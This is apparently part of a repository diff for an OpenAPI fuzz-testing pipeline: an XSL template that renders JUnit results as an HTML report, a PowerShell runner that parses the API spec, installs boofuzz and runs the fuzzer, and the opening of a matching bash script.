|
||||
font-weight: 300;
|
||||
color: black;
|
||||
display: inline;
|
||||
border-radius: 5px;
|
||||
padding: 1px;
|
||||
}
|
||||
.errorColor {
|
||||
background-color: #f7e1d4;
|
||||
}
|
||||
.failureColor {
|
||||
background-color: #f7d4d4;
|
||||
}
|
||||
</style>
|
||||
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
|
||||
<link href="https://cdn.jsdelivr.net/npm/semantic-ui@2.3.3/dist/semantic.min.css" rel="stylesheet"/>
|
||||
<script crossorigin="anonymous" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" src="https://code.jquery.com/jquery-3.1.1.min.js">
|
||||
</script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/semantic-ui@2.3.3/dist/semantic.min.js">
|
||||
</script>
|
||||
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js">
|
||||
</script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.address/1.6/jquery.address.min.js">
|
||||
</script>
|
||||
</head>
|
||||
<body style="color:rgba(47, 53, 69, 0.9);">
|
||||
<div class="ui container" style="margin:40px;">
|
||||
<h2 class="ui header">
|
||||
<div class="content">
|
||||
<span style="font-size:30px; font-weight:300; font-family:Open Sans;">
|
||||
<span style="font-weight:600;">
|
||||
Test
|
||||
</span>
|
||||
Result
|
||||
</span>
|
||||
<div>
|
||||
<div class="ui active indicating progress" data-percent="33" style="margin-top:10px;">
|
||||
<xsl:attribute name="data-percent">
|
||||
<xsl:value-of select="($total_successful div ($total_failures + $total_errors + $total_successful + $total_skipped)) * 100">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<div class="bar" style="width:33%">
|
||||
<xsl:attribute name="style">
|
||||
<xsl:value-of select="concat('width:', ($total_successful div ($total_failures + $total_errors + $total_successful + $total_skipped)) * 100, '%;')">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="ui divider">
|
||||
</div>
|
||||
<div class="sub header" style="margin-top: 15px;">
|
||||
<div class="ui mini statistics">
|
||||
<div class="statistic" data-tooltip="Total tests ran">
|
||||
<div class="value">
|
||||
<i class="folder open outline icon gray" style="padding-right:4px;">
|
||||
</i>
|
||||
<xsl:value-of select="$total_tests">
|
||||
</xsl:value-of>
|
||||
</div>
|
||||
<div class="label">
|
||||
Tests
|
||||
</div>
|
||||
</div>
|
||||
<div class="statistic" data-tooltip="Total successful test runs">
|
||||
<div class="value">
|
||||
<i class="check circle outline icon green" style="padding-right:4px;">
|
||||
</i>
|
||||
<xsl:value-of select="$total_successful">
|
||||
</xsl:value-of>
|
||||
</div>
|
||||
<div class="label">
|
||||
Passed
|
||||
</div>
|
||||
</div>
|
||||
<div class="statistic" data-tooltip="Total test runs with failed assertions">
|
||||
<div class="value">
|
||||
<i class="exclamation circle icon red" style="padding-right:4px;">
|
||||
</i>
|
||||
<xsl:value-of select="$total_failures">
|
||||
</xsl:value-of>
|
||||
</div>
|
||||
<div class="label">
|
||||
Failed
|
||||
</div>
|
||||
</div>
|
||||
<div class="statistic" data-tooltip="Total test runs with unanticipated errors">
|
||||
<div class="value">
|
||||
<i class="flag outline icon orange" style="padding-right:4px;">
|
||||
</i>
|
||||
<xsl:value-of select="$total_errors">
|
||||
</xsl:value-of>
|
||||
</div>
|
||||
<div class="label">
|
||||
Errored
|
||||
</div>
|
||||
</div>
|
||||
<div class="statistic" data-tooltip="Total skipped test runs">
|
||||
<div class="value">
|
||||
<i class="ban icon" style="padding-right:4px;">
|
||||
</i>
|
||||
<xsl:value-of select="$total_skipped">
|
||||
</xsl:value-of>
|
||||
</div>
|
||||
<div class="label">
|
||||
Skipped
|
||||
</div>
|
||||
</div>
|
||||
<div class="statistic" data-tooltip="Total runtime for all tests">
|
||||
<div class="value">
|
||||
<i class="hourglass half icon blue" style="padding-right:4px;">
|
||||
</i>
|
||||
<xsl:value-of select="format-number($total_time div 60, '00')">
|
||||
</xsl:value-of>
|
||||
<span style="text-transform:lowercase; font-size:12px;">
|
||||
min
|
||||
</span>
|
||||
</div>
|
||||
<div class="label">
|
||||
Runtime
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</h2>
|
||||
<div class="ui styled fluid accordion" style="font-size: 16px; font-family: Open sans;">
|
||||
<xsl:for-each select="//testsuite">
|
||||
<xsl:variable name="suite_total_tests" select="sum(./@tests[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="suite_total_errors" select="sum(./@errors[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="suite_total_skipped" select="sum(./@skipped[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="suite_total_failures" select="sum(./@failures[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="suite_total_successful" select="$suite_total_tests - ($suite_total_errors + $suite_total_failures + $suite_total_skipped)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="suite_total_time" select="sum(./testcase/@time[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<div class="title">
|
||||
<i class="angle right icon">
|
||||
</i>
|
||||
<b style="font-family: Lato; font-size: 15px; color: #2f2f2f; font-weight: bold;">
|
||||
<xsl:value-of select="@name">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
<!-- Time Label -->
|
||||
<div class="ui blue label" data-tooltip="Test suite runtime" style="float:right;">
|
||||
<i class="clock icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="format-number($suite_total_time, '#.###')">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
sec
|
||||
</div>
|
||||
<div class="ui label" style="border: 1px solid #80808045; margin-left: 15px;">
|
||||
<b>
|
||||
Test Suite
|
||||
</b>
|
||||
</div>
|
||||
<!-- Test Suite Labels -->
|
||||
<xsl:choose>
|
||||
<xsl:when test="$suite_total_failures > 0">
|
||||
<div class="ui red label" data-tooltip="Total test runs with failed assertions" style="float:right;">
|
||||
<i class="exclamation circle icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="$suite_total_failures">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
failed
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="$suite_total_errors > 0">
|
||||
<div class="ui orange label" data-tooltip="Total test runs with unanticipated errors" style="float:right;">
|
||||
<i class="flag outline icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="$suite_total_errors">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
errored
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="$suite_total_successful > 0">
|
||||
<div class="ui green label" data-tooltip="Total successful test runs" style="float:right;">
|
||||
<i class="check circle outline icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="$suite_total_successful">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
passed
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<!-- Skipped Label -->
|
||||
<xsl:choose>
|
||||
<xsl:when test="$suite_total_skipped > 0">
|
||||
<div class="ui gray label" data-tooltip="Total number of skipped tests" style="float:right; border: 1px solid gray;">
|
||||
<i class="ban icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="$suite_total_skipped">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
skipped
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<div class="ui active indicating progress" data-percent="33" style="margin-top:10px;">
|
||||
<xsl:attribute name="data-percent">
|
||||
<xsl:value-of select="($suite_total_successful div ($suite_total_failures + $suite_total_errors + $suite_total_successful + $suite_total_skipped)) * 100">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<div class="bar" style="width:33%">
|
||||
<xsl:attribute name="style">
|
||||
<xsl:value-of select="concat('width:', ($suite_total_successful div ($suite_total_failures + $suite_total_errors + $suite_total_successful + $suite_total_skipped)) * 100, '%;')">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="content">
|
||||
<div class="accordion" style="background-color:#00000017;">
|
||||
<xsl:for-each-group group-by="@classname" select="./testcase">
|
||||
<xsl:variable name="class_total_tests" select="count(current-group())">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="class_total_errors" select="count(current-group()/error)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="class_total_failures" select="count(current-group()/failure)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="class_total_skipped" select="count(current-group()/skipped)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="class_total_successful" select="$class_total_tests - ($class_total_errors + $class_total_failures + $class_total_skipped)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="class_total_time" select="sum(current-group()/@time[number(.) = number(.)])">
|
||||
</xsl:variable>
|
||||
<div class="title">
|
||||
<i class="dropdown icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="current-grouping-key()">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
<!-- Time Label -->
|
||||
<div class="ui blue label" data-tooltip="Test class runtime" style="float:right;">
|
||||
<i class="clock icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="format-number($class_total_time, '#.###')">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
sec
|
||||
</div>
|
||||
<!-- Skipped Label -->
|
||||
<xsl:choose>
|
||||
<xsl:when test="$class_total_skipped > 0">
|
||||
<div class="ui gray label" data-tooltip="Total number of skipped tests" style="float:right; border: 1px solid gray;">
|
||||
<i class="ban icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="$class_total_skipped">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
skipped
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<!-- Test Results Labels -->
|
||||
<xsl:choose>
|
||||
<xsl:when test="$class_total_successful = $class_total_tests">
|
||||
<div class="ui green label" data-tooltip="Total successful test runs" style="float:right;">
|
||||
<i class="check circle outline icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="$class_total_successful">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
</div>
|
||||
</xsl:when>
|
||||
<xsl:when test="$class_total_failures > 0">
|
||||
<div class="ui red label" data-tooltip="Total test runs with failed assertions" style="float:right;">
|
||||
<i class="exclamation circle icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="$class_total_failures">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="$class_total_errors > 0">
|
||||
<div class="ui orange label" data-tooltip="Total test runs with unanticipated errors" style="float:right;">
|
||||
<i class="flag outline icon">
|
||||
</i>
|
||||
<b>
|
||||
<xsl:value-of select="$class_total_errors">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
</div>
|
||||
<div class=" content">
|
||||
<div class="accordion">
|
||||
<xsl:if test="contains(current-grouping-key(), 'Success')">
|
||||
<p class="title" style="text-align: center;">Successful test cases are omitted. You can find them in the full text log.</p>
|
||||
</xsl:if>
|
||||
<xsl:if test="current-grouping-key() = 'Skipped'">
|
||||
<p class="title" style="text-align: center;">Skipped test cases are omitted from the list.</p>
|
||||
</xsl:if>
|
||||
<xsl:for-each select="current-group()">
|
||||
<xsl:if test="not(contains(current-grouping-key(), 'Success')) and current-grouping-key() != 'Skipped'">
|
||||
<xsl:variable name="sanitized_test_name" select="encode-for-uri(@name)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="hasContent" select="boolean(boolean(./failure/@message) = boolean(0) and boolean(./error/@message) = boolean(0) and boolean(./system-out) = boolean(0) and boolean(./error) = boolean(0) and boolean(./system-err) = boolean(0) and boolean(./system-out) = boolean(0)) = boolean(0)">
|
||||
</xsl:variable>
|
||||
<xsl:variable name="cursor">
|
||||
<xsl:if test="not($hasContent)">
|
||||
<xsl:text>cursor:default;</xsl:text>
|
||||
</xsl:if>
|
||||
</xsl:variable>
|
||||
<div class="title">
|
||||
<xsl:attribute name="style">
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./failure)">
|
||||
<xsl:value-of select="concat('color:#212121; background-color:rgb(255, 156, 156); ', $cursor)"/>
|
||||
</xsl:when>
|
||||
<xsl:when test="boolean(./error)">
|
||||
<xsl:value-of select="concat('color:#212121; background-color:#ffa468;' , $cursor)"/>
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
<xsl:value-of select="concat('color:#212121; background-color:#baf3b7;' , $cursor)"/>
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:attribute>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean($hasContent)">
|
||||
<i class="angle down icon" style="color:#5f5f5f; margin-right:15px;">
|
||||
</i>
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
<i class="check circle outline icon" style="color:#5f5f5f; margin-right:15px;">
|
||||
</i>
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
<span style="font-family: Open Sans; font-weight: 300;">
|
||||
<b style="font-family: Lato; font-weight: bold;">
|
||||
<xsl:value-of select="@name">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
</span>
|
||||
<!-- Time Label -->
|
||||
<div class="ui blue label" data-tooltip="Test runtime" style="float:right;">
|
||||
<i class="clock icon">
|
||||
</i>
|
||||
<xsl:variable name="test_run_time" select="format-number(@time, '#.###')">
|
||||
</xsl:variable>
|
||||
<xsl:choose>
|
||||
<xsl:when test="substring($test_run_time,1,5) = '.0'">
|
||||
<b>
|
||||
~ 0
|
||||
</b>
|
||||
sec
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
<b>
|
||||
<xsl:value-of select="$test_run_time">
|
||||
</xsl:value-of>
|
||||
</b>
|
||||
sec
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</div>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./failure/@type)">
|
||||
<div class="ui red label" data-tooltip="Exception/Error type" style="float:right;">
|
||||
<i class="exclamation triangle icon">
|
||||
</i>
|
||||
<xsl:value-of select="./failure/@type">
|
||||
</xsl:value-of>
|
||||
</div>
|
||||
</xsl:when>
|
||||
<xsl:when test="boolean(./error/@type)">
|
||||
<div class="ui orange label" data-tooltip="Exception/Error type" style="float:right;">
|
||||
<i class="exclamation triangle icon">
|
||||
</i>
|
||||
<xsl:value-of select="./error/@type">
|
||||
</xsl:value-of>
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
</div>
|
||||
<xsl:variable name="hasContent" select="boolean(boolean(./failure/@message) = boolean(0) and boolean(./error/@message) = boolean(0) and boolean(./system-out) = boolean(0) and boolean(./error) = boolean(0) and boolean(./system-err) = boolean(0) and boolean(./system-out) = boolean(0)) = boolean(0)">
|
||||
</xsl:variable>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean($hasContent)">
|
||||
<div class="content">
|
||||
<xsl:attribute name="style">
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./failure)">
|
||||
<xsl:value-of select="'background-color:rgb(255, 156, 156);'">
|
||||
</xsl:value-of>
|
||||
</xsl:when>
|
||||
<xsl:when test="boolean(./error)">
|
||||
<xsl:value-of select="'background-color:#ffa468;'">
|
||||
</xsl:value-of>
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
<xsl:value-of select="'background-color:#baf3b7;'">
|
||||
</xsl:value-of>
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:attribute>
|
||||
<div style="background-color:rgb(243,243,243);border-radius:7px; padding: 25px;">
|
||||
<xsl:choose>
|
||||
<xsl:when test="string-length(./failure/@message) > 2000">
|
||||
<p class="errorMessage failureColor">
|
||||
<xsl:value-of select="substring(./failure/@message, 0, 1999)">
|
||||
</xsl:value-of>
|
||||
...
|
||||
</p>
|
||||
</xsl:when>
|
||||
<xsl:when test="string-length(./failure/@message) > 0">
|
||||
<p class="errorMessage failureColor">
|
||||
<xsl:value-of select="./failure/@message">
|
||||
</xsl:value-of>
|
||||
</p>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="string-length(./error/@message) > 2000">
|
||||
<p class="errorMessage errorColor">
|
||||
<xsl:value-of select="substring(./error/@message, 0, 1999)">
|
||||
</xsl:value-of>...
|
||||
</p>
|
||||
</xsl:when>
|
||||
<xsl:when test="string-length(./error/@message) > 0">
|
||||
<p class="errorMessage errorColor">
|
||||
<xsl:value-of select="./error/@message">
|
||||
</xsl:value-of>
|
||||
</p>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<div class="ui segment" style="padding-top: 15; background-color: #ffffff00; box-shadow: none; border: none;">
|
||||
<div class="ui menu top" style="background-color: transparent; box-shadow: none; border: none;">
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./failure) and string-length('./failure') > 0">
|
||||
<a class="active item" style="border-bottom: 3px solid #00000042; font-weight: bolder;">
|
||||
<xsl:attribute name="data-tab">
|
||||
<xsl:value-of select="concat('failure_', $sanitized_test_name)">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
Failure
|
||||
</a>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./system-err) and string-length('./system-err') > 1">
|
||||
<a style="border-bottom: 3px solid #00000042; font-weight: bolder;">
|
||||
<xsl:attribute name="data-tab">
|
||||
<xsl:value-of select="concat('syserr_', $sanitized_test_name)">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<xsl:attribute name="class">
|
||||
<xsl:choose>
|
||||
<xsl:when test="(boolean(./failure) = boolean(0) or string-length('./failure') < 1) and (boolean(./error) = boolean(0) or string-length('./error') < 1)">
|
||||
active item
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
item
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:attribute>
|
||||
System-err
|
||||
</a>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./error) and string-length('./error') > 0">
|
||||
<a style="border-bottom: 3px solid #00000042; font-weight: bolder;">
|
||||
<xsl:attribute name="data-tab">
|
||||
<xsl:value-of select="concat('error_', $sanitized_test_name)">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<xsl:attribute name="class">
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./failure) = boolean(0) or string-length('./failure') < 1">
|
||||
active item
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
item
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:attribute>
|
||||
Error
|
||||
</a>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./system-out) and string-length('./system-out') > 0">
|
||||
<a style="border-bottom: 3px solid #00000042; font-weight: bolder;">
|
||||
<xsl:attribute name="data-tab">
|
||||
<xsl:value-of select="concat('sysout_', $sanitized_test_name)">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<xsl:attribute name="class">
|
||||
<xsl:choose>
|
||||
<xsl:when test="(boolean(./failure) = boolean(0) or string-length('./failure') < 1) and (boolean(./error) = boolean(0) or string-length('./error') < 1) and (boolean(./system-err) = boolean(0) or string-length('./system-err') < 1)">
|
||||
active item
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
item
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:attribute>
|
||||
System-out
|
||||
</a>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
</div>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./failure) and string-length('./failure') > 0">
|
||||
<div class="ui tab active">
|
||||
<xsl:attribute name="data-tab">
|
||||
<xsl:value-of select="concat('failure_', $sanitized_test_name)">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<pre class="prettyprint" style=" overflow: scroll;padding: 20px; max-height: 400px; border: 1px solid #80808054; background-color: white;">
|
||||
<code><xsl:value-of select="./failure"></xsl:value-of></code>
|
||||
</pre>
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./error) and string-length('./error') > 0">
|
||||
<div>
|
||||
<xsl:attribute name="data-tab">
|
||||
<xsl:value-of select="concat('error_', $sanitized_test_name)">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<xsl:attribute name="class">
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./failure) = boolean(0) or string-length('./failure') < 1">
|
||||
ui tab active
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
ui tab
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:attribute>
|
||||
<pre class="prettyprint" style=" overflow: scroll;padding: 20px; max-height: 400px; border: 1px solid #80808054; background-color: white;">
|
||||
<code><xsl:value-of select="./error"></xsl:value-of></code>
|
||||
</pre>
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./system-err) and string-length('./system-err') > 0">
|
||||
<div>
|
||||
<xsl:attribute name="data-tab">
|
||||
<xsl:value-of select="concat('syserr_', $sanitized_test_name)">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<xsl:attribute name="class">
|
||||
<xsl:choose>
|
||||
<xsl:when test="(boolean(./failure) = boolean(0) or string-length('./failure') < 1) and (boolean(./error) = boolean(0) or string-length('./error') < 1)">
|
||||
ui tab active
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
ui tab
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:attribute>
|
||||
<pre class="prettyprint" style=" overflow: scroll;padding: 20px; max-height: 400px; border: 1px solid #80808054; background-color: white;">
|
||||
<code><xsl:value-of select="./system-err"></xsl:value-of></code>
|
||||
</pre>
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
<xsl:choose>
|
||||
<xsl:when test="boolean(./system-out) and string-length('./system-out') > 0">
|
||||
<div>
|
||||
<xsl:attribute name="data-tab">
|
||||
<xsl:value-of select="concat('sysout_', $sanitized_test_name)">
|
||||
</xsl:value-of>
|
||||
</xsl:attribute>
|
||||
<xsl:attribute name="class">
|
||||
<xsl:choose>
|
||||
<xsl:when test="(boolean(./failure) = boolean(0) or string-length('./failure') < 1) and (boolean(./error) = boolean(0) or string-length('./error') < 1) and (boolean(./system-err) = boolean(0) or string-length('./system-err') < 1)">
|
||||
ui tab active
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
ui tab
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:attribute>
|
||||
<pre class="prettyprint" style=" overflow: scroll;padding: 20px; max-height: 400px; border: 1px solid #80808054; background-color:white;">
|
||||
<code><xsl:value-of select="./system-out"></xsl:value-of></code>
|
||||
</pre>
|
||||
</div>
|
||||
</xsl:when>
|
||||
</xsl:choose>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
<div class="content" style="padding:0px;">
|
||||
</div>
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:if>
|
||||
</xsl:for-each>
|
||||
</div>
|
||||
</div>
|
||||
</xsl:for-each-group>
|
||||
</div>
|
||||
</div>
|
||||
</xsl:for-each>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
$(document).ready(function(){
|
||||
$('.ui.accordion').accordion();
|
||||
$('.top.menu .item').tab();
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
114
run.ps1
Normal file
114
run.ps1
Normal file
@@ -0,0 +1,114 @@
|
||||
# Params definition
|
||||
param
|
||||
(
|
||||
[Parameter(Mandatory=$true)][string]$config,
|
||||
[Parameter(Mandatory=$true)][string]$openapi,
|
||||
[Parameter(Mandatory=$false)][string]$payloads
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
# Check if config file and documentation file are valid files
|
||||
if (!(Test-Path $config))
|
||||
{
|
||||
Write-Error "Configuration file path is not valid!"
|
||||
exit
|
||||
}
|
||||
|
||||
if (!(Test-Path $openapi))
|
||||
{
|
||||
Write-Error "OpenApi documentation file path is not valid!"
|
||||
exit
|
||||
}
|
||||
|
||||
# Define binary binaries paths
|
||||
$PY='py'
|
||||
$PYTHON3='-3'
|
||||
$PIP3='-3', '-m', 'pip'
|
||||
$DOTNET='dotnet'
|
||||
$JAVA='java'
|
||||
$DOCKER='docker'
|
||||
|
||||
# Define paths inside directory
|
||||
$PARSER_FOLDER="./parser/OpenApiParserCLI/"
|
||||
$API_REQUESTS_JSON="./parser/api.json"
|
||||
$FUZZER_LOG="fuzzing.log"
|
||||
$JUNIT_TEST_REPORT="./reporter/reports.junit.xml"
|
||||
$HTML_TEST_REPORT="./reporter/reports.html"
|
||||
$XUNIT2HTML_XSL="./reporter/xunit_to_html.xsl"
|
||||
$SAXON9HE="./reporter/saxon9he.jar"
|
||||
|
||||
# Define docker images tags
|
||||
$REPORTER_IMAGE_TAG="wfuzz:reporter"
|
||||
|
||||
# Setting encofing for Python
|
||||
$env:PYTHONIOENCODING = "UTF-8"
|
||||
|
||||
|
||||
# Pilenine execution
|
||||
Write-Host "--- Parsing openAPI documentation to JSON endpoints file ---"
|
||||
& $DOTNET run -p ${PARSER_FOLDER} ${openapi} ${API_REQUESTS_JSON}
|
||||
if(-Not ($?))
|
||||
{
|
||||
Write-Host "Parsing of documentation failed! Fuzzing will not be started."
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Host "--- Starting fuzzing ---"
|
||||
Write-Host "Creating virtual environment for Python 3"
|
||||
& $PY $PIP3 install virtualenv
|
||||
& $PY $PYTHON3 -m virtualenv env
|
||||
.\env\Scripts\activate
|
||||
|
||||
Write-Host "Upgrade Python 3 pip (needed for crypto lib)"
|
||||
pip install --upgrade pip
|
||||
|
||||
Write-Host "Installing specific dependencies"
|
||||
pip install git+https://github.com/jtpereyda/boofuzz.git
|
||||
pip install junit-xml
|
||||
|
||||
Write-Host "Starting fuzz testing"
|
||||
python ./fuzzer/src/wfuzz.py ${config} ${API_REQUESTS_JSON} ${JUNIT_TEST_REPORT} ${payloads} > $FUZZER_LOG
|
||||
if(-Not ($?))
|
||||
{
|
||||
Write-Host "Fuzzing failed. HTML report will not be produced."
|
||||
exit 1
|
||||
}
|
||||
Write-Host "Ending fuzz testing"
|
||||
|
||||
Write-Host "Destroying virtual environment for Python 3"
|
||||
deactivate
|
||||
Remove-Item -LiteralPath ./env/ -Force -Recurse -ErrorAction SilentlyContinue
|
||||
Write-Host "--- Ending fuzzing ---"
|
||||
|
||||
Write-Host "--- Starting generating HTML test report ---"
|
||||
if (Get-Command $JAVA -errorAction SilentlyContinue)
|
||||
{
|
||||
& $JAVA -jar ${SAXON9HE} -o:${HTML_TEST_REPORT} -s:${JUNIT_TEST_REPORT} -xsl:${XUNIT2HTML_XSL}
|
||||
if(-Not ($?))
|
||||
{
|
||||
Write-Host "HTML test report via installed Java binary cannot be produced. There was an error during parsing JUnit input file."
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
elseif (Get-Command $DOCKER -errorAction SilentlyContinue)
|
||||
{
|
||||
& $DOCKER build reporter -t ${REPORTER_IMAGE_TAG}
|
||||
if(-Not ($?))
|
||||
{
|
||||
Write-Host "HTML test report cannot be produced. Docker cannot build image."
|
||||
exit 1
|
||||
}
|
||||
& $DOCKER run ${REPORTER_IMAGE_TAG} > ${HTML_TEST_REPORT}
|
||||
if(-Not ($?))
|
||||
{
|
||||
Write-Host "HTML test report cannot be produced. Docker run failed."
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host "HTML test report cannot be produced. Missing JRE or Docker binary. Need to provide at least one of them. You can specify their binary paths in the beggining of this script."
|
||||
exit 1
|
||||
}
|
||||
Write-Host "--- Ending generating HTML test report ---"
|
||||
85
run.sh
Normal file
85
run.sh
Normal file
@@ -0,0 +1,85 @@
|
||||
#!/bin/bash
|
||||
|
||||
USAGE="Usage: `basename $0` config_file_path open_api_doc_file_path [custom_payloads_file]"
|
||||
|
||||
# We want at least 2 parameters
|
||||
if [ ${#} -lt 2 ]
|
||||
then
|
||||
echo $USAGE >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check if config file and documentation file are valid files
|
||||
WFUZZ_CONFIG=$1
|
||||
OPENAPI_DOCUMENTATION=$2
|
||||
CUSTOM_PAYLOADS_FILE=$3
|
||||
|
||||
if [ ! -f "$WFUZZ_CONFIG" ]
|
||||
then
|
||||
echo "Configuration file path is not valid!" >&2
|
||||
echo $USAGE >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -f "$OPENAPI_DOCUMENTATION" ]
|
||||
then
|
||||
echo "OpenApi documentation file path is not valid!" >&2
|
||||
echo $USAGE >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Define binary binaries paths
|
||||
